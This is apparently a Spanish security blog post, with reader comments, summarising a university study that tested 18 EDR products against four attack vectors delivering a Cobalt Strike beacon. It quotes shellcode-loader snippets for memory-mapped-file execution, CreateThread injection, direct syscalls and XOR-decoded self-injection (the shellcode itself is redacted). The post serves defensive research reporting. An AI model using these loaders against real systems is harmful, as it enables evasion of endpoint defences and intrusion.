No, ningún EDR es capaz de parar todos los ataques y un estudio así lo revela

Varios investigadores de la Universidad del Pireo en Atenas han testeado 18 EDRs (software de detección y respuesta de endpoints) diferentes y descubierto que muchos no detectan algunas de las técnicas de ataque más comunes utilizadas hoy en día por la mayoría de los threat actors actuales. “Nuestros resultados indican que todavía hay mucho margen de mejora ya que los EDR de última generación no logran prevenir ni registrar la mayor parte de los ataques que se reportan en este estudio”, dijeron George Karantzas y Constantinos Patsakis.

Su investigación, detallada en el paper 'An Empirical Assessment of Endpoint Detection and Response Systems against Advanced Persistent Threats Attack Vectors', puso a prueba a los principales EDR del último informe de Gartner de 2021 y básicamente consistía en la adquisición de un dominio categorizado como de 'finanzas', protegido con un certificado SSL de Let's Encrypt y que alojaba cuatro tipos de archivos que se utilizan comúnmente en los ataques, que abusarían de funciones legítimas para cargar y ejecutar un beacon de Cobalt Strike.

1. Un archivo de acceso directo del panel de control de Windows (.cpl) 

Creado con CPLResourceRunner (https://github.com/rvrsh3ll/CPLResourceRunner) y almacenando el shellcode con Archivos mapeados en memoria (MMF) y luego lanzándolo con delegates:

// Create a read/write/executable memory mapped file to hold our shellcode..
mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);

// Create a memory mapped view accessor with read/write/execute permissions..
mmva = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);

// Write the shellcode to the MMF..
mmva.WriteArray(0, shellcode, 0, shellcode.Length);

// Obtain a pointer to our MMF..
var pointer = (byte*)0;
mmva.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);

// Create a function delegate to the shellcode in our MMF..
var func = (GetPebDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(GetPebDelegate));

// Invoke the shellcode..
return func();

2. Un instalador legítimo de Microsoft Teams (que cargaba una DLL maliciosa)
Auto-inyectándose mediante DLL side-loading, lo que permite "vivir" bajo un binario firmado. Para lograrlo, utilizaron AQUARMOURY-Brownie (https://github.com/slaeryan/AQUARMOURY). El método de ejecución del shellcode es un CreateThread() clásico basado en una inyección local que lanzará el shellcode bajo un proceso de binario firmado y benigno .

// Inline-Execute shellcode using CreateThread()
// ------------------------------------------------------------------------

BOOL execute_shellcode(LPSTR payload, SIZE_T payloadLen) {
	// Init some important variables
	void* exec_mem;
	BOOL ret;
	HANDLE threadHandle;
    DWORD oldProtect = 0;
	
	// Allocate a RW memory buffer for payload
	exec_mem = VirtualAlloc(0, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Write payload to new buffer
	RtlMoveMemory(exec_mem, payload, payloadLen);
	
	// Make new buffer as RX so that payload can be executed
	ret = VirtualProtect(exec_mem, payloadLen, PAGE_EXECUTE_READ, &oldProtect);

	// Now, run the payload
	if (ret != 0) {
		threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
		WaitForSingleObject(threadHandle, -1);
	}

	return TRUE;
}

3. Un archivo ejecutable portable (EXE) sin firmar 

Este exe ejecutaba la inyección utilizando la técnica "Early Bird" de AQUARMOURY en werfault.exe. Esta técnica hace uso del mecanismo implementado en Windows para las llamadas asíncronas a procedimientos, también conocido como APC o Asynchronous Procedure Calls. El padre de explorer.exe es spoofeado utilizando la flag PROC THREAD ATTRIBUTE MITIGATION POLICY para proteger el malware de un evento DLL no firmado por Microsoft que es comúnmente utilizado por el EDR para la monitorización de los procesos.   

El archivo empleará llamadas directas al sistema en ensamblador para evitar funciones hookeadas:

; Sample Syscalls
; ---------------------------------------------------------------------
; Windows 7 SP1 / Server 2008 R2 specific syscalls
; ---------------------------------------------------------------------

NtWriteVirtualMemory7SP1 proc
	mov r10 , rcx
	mov eax , 37 h
	syscall
	ret
NtWriteVirtualMemory7SP1 endp

NtWriteVirtualMemory7SP1 proc
	mov r10 , rcx
	mov eax , 4 Dh
	syscall
	ret
NtWriteVirtualMemory7SP1 endp

4. Un archivo de aplicación HTML (HTA): 

Una vez que el usuario visita una página HTML que contiene un IFrame, será redirigido y se le preguntará para ejecutar un archivo HTML con código VBS ejecutable que cargará el siguiente código .NET que realiza la autoinyección en el contexto de mshta.exe.  

Usa C# y un gadget generado por Gadget2JScript (https://github.com/med0x2e/GadgetToJScript

byte [] shellcode = { };
// xored shellcode
byte [] xored = new byte [] { REDACTED };
string key = " mysecretkeee " ;
shellcode = xor ( xored , Encoding . ASCII . GetBytes ( key ) ) ;
uint old = 0;
// Gets current process handle
IntPtr procHandle = Process.GetCurrentProcess().Handle ;
// Allocation and then change the page to RWX
IntPtrallocMemAddress = VirtualAllocEx ( procHandle , IntPtr.Zero , ( uint ) shellcode.Length , MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE ) ;
VirtualProtectEx ( procHandle , allocMemAddress , ( UIntPtr ) shellcode.Length , PAGE_EXECUTE_READWRITE , out old ) ;
// Write the shellcode
UIntPtr bytesWritten ;
WriteProcessMemory ( procHandle , allocMemAddress , shellcode , ( uint ) shellcode.Length , out bytesWritten ) ;
EtwpCreateEtwThread ( allocMemAddress , IntPtr.Zero ) ;

Resultados

La siguiente tabla muestra un resumen de los resultados.


Leyenda de la tabla de resultados (pág. 36 del informe, gracias Pedri77):
✓: ataque exitoso, ataque exitoso, alerta media elevada.
•: ataque exitoso, elevado alerta menor.
?: ataque exitoso, se generó alerta .
◦: ataque fallido, no se generó alerta.
✗: ataque fallido, Se generaron alertas.
† En dos experimentos proporcionados por el proveedor, en el primero se detectó después de cinco horas, en el segundo se detectó después de 25 minutos
Punto con círculo : La prueba inicial se bloqueó debido a la firma del archivo, el segundo tuvo éxito con otra aplicación.

De los 20 ataques que fueron lanzados, más de la mitad tuvieron éxito. Como veis es bastante alarmante que ninguno de los EDR logró detectar todos los ataques. Concretamente, 10 ataques fueron completamente exitosos, ya que se completaron y no generaron ninguna alerta; 3 ataques tuvieron éxito, pero generaron una alerta de baja importancia; 1 ataque no tuvo éxito, sin embargo, no emitió ninguna alerta, y 6 ataques fueron detectados y correctamente reportados por los EDR. 

Y es que... nadie ni nada es perfecto... ;)

Comentarios

  1. Leyenda de la tabla de resultados (pág. 36 del informe):
    ✓: ataque exitoso, ataque exitoso, alerta media elevada.
    •: ataque exitoso, elevado alerta menor.
    ?: ataque exitoso, se generó alerta .
    ◦: ataque fallido, no se generó alerta.
    ✗: ataque fallido, Se generaron alertas.
    † En dos experimentos proporcionados por el proveedor, en el primero se detectó después de cinco horas, en el segundo se detectó después de 25 minutos
    Punto con círculo : La prueba inicial se bloqueó debido a la firma del archivo, el segundo tuvo éxito con otra aplicación.

    ResponderEliminar
    Respuestas
    1. Muchas gracias por la aclaración. Cambia bastante la película.

      Eliminar
  2. Y no hay nada de Cortex de Palo Alto?

    ResponderEliminar
  3. Mirando la leyenda, FortiEDR lo ha bloqueado todo?

    ResponderEliminar
    Respuestas
    1. Efectivamente para y detecta los cuatro payloads según las pruebas de los investigadores. El problema es que FortiEDR se puede llegar a desactivar con WindowsD "This allowed us to disable FortiEDR by injecting into its
      processes from the kernel mode and intentionally causing them to become dysfunctional"

      Eliminar
  4. Esto son fake news. Leed el documento completo y veréis que algunos si lo paran todo como además figura en la tabla resumen.

    ResponderEliminar
    Respuestas
    1. Si hubieras leído el documento completo como suscribes y sobretodo con detenimiento verás que es posible atacar a los propios EDRs para desactivarlos y los propios investigadores en el apartado 6 de las conclusiones indican que ningún EDR es efectivo al final contra los ataques (Quite alarmingly, we illustrate that
      no EDR can efficiently detect and prevent the four attack vectors we deployed. In fact, the DLL
      sideloading attack is the most successful attack as most EDRs fail to detect, let alone blocking it).

      Por lo tanto no es una noticia falsa, es compartir el resultado de su investigación.

      Por otro lado y si me permites también decirte mi opinión comparto totalmente las conclusiones: no hay herramienta que nos defienda contra todas las amenazas. Incluso esos vectores del paper evolucionan en sus técnicas y pueden evadir las defensas, al igual que van mejorando los propios EDRs en el eterno juego del "gato y el ratón".
      Lo mejor es diversificar, mejorar la capacitación de los blue teams y asumir que la seguridad 100% no existe.

      Eliminar

Publicar un comentario